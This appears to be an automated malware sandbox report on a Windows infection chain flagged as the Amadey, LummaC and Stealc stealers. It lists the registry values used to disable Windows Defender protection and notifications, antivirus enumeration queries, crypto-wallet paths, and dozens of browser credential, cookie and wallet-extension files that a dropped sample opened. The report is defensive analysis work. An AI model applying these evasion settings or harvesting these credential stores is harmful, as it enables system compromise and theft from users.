Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: Updater.exe, 0000002E.00000000.2495953945.0000000000DC1000.00000002.00000001.01000000.00000018.sdmp, random[1].exe1.7.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: FT773VWATWFL9SRK5RTU4.exe, 00000002.00000002.1981588647.0000000000C1C000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: Program Manager
Source: skotes.exe, skotes.exe, 00000007.00000002.4110473002.00000000010C5000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: &Program Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 7_2_00EFD3E2 cpuid

7_2_00EFD3E2

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003145001\1553f88169.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003145001\1553f88169.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003146001\661f3ff865.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003146001\661f3ff865.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003147001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003147001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Queries volume information: C:\Users\user\AppData\Local\hangbird\Updater.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe

Code function: 2_2_00BD3511 GetSystemTime,CreateFileA,

2_2_00BD3511

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 7_2_00EE65E0 LookupAccountNameA,

7_2_00EE65E0

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000000.00000003.1833739536.000000000080A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749526956.0000000000816000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2725396199.000000000177E000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2720333364.000000000177A000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2853047453.0000000001775000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2778758863.0000000001780000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2775810352.0000000001780000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: find.exe, 0000001E.00000002.2480184827.0000022A4B32B000.00000004.00000020.00020000.00000000.sdmp, find.exe, 0000001E.00000002.2480598012.0000022A4B470000.00000004.00000020.00020000.00000000.sdmp, find.exe, 0000003A.00000002.2525608616.000001643AE80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avgui.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 7.2.skotes.exe.ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.KOLH45MMED0OMDDRYHIG.exe.390000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.skotes.exe.ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1900844822.0000000000391000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1876760920.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1917446000.0000000000EE1000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4110113198.0000000000EE1000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1860646756.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2333467798.00000000047E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 6800, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9eba8044e7.exe PID: 5448, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1003147001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.1682378325.00000000007F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: file.exe, 00000000.00000003.1785012541.0000000000798000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: file.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe, 00000000.00000003.1785012541.0000000000798000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe, 00000000.00000003.1682138495.00000000007F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus",
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000003.1682087443.00000000007EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/EthereumBgzuEY&[
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore
Source: file.exe, 00000000.00000003.1682378325.00000000007F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
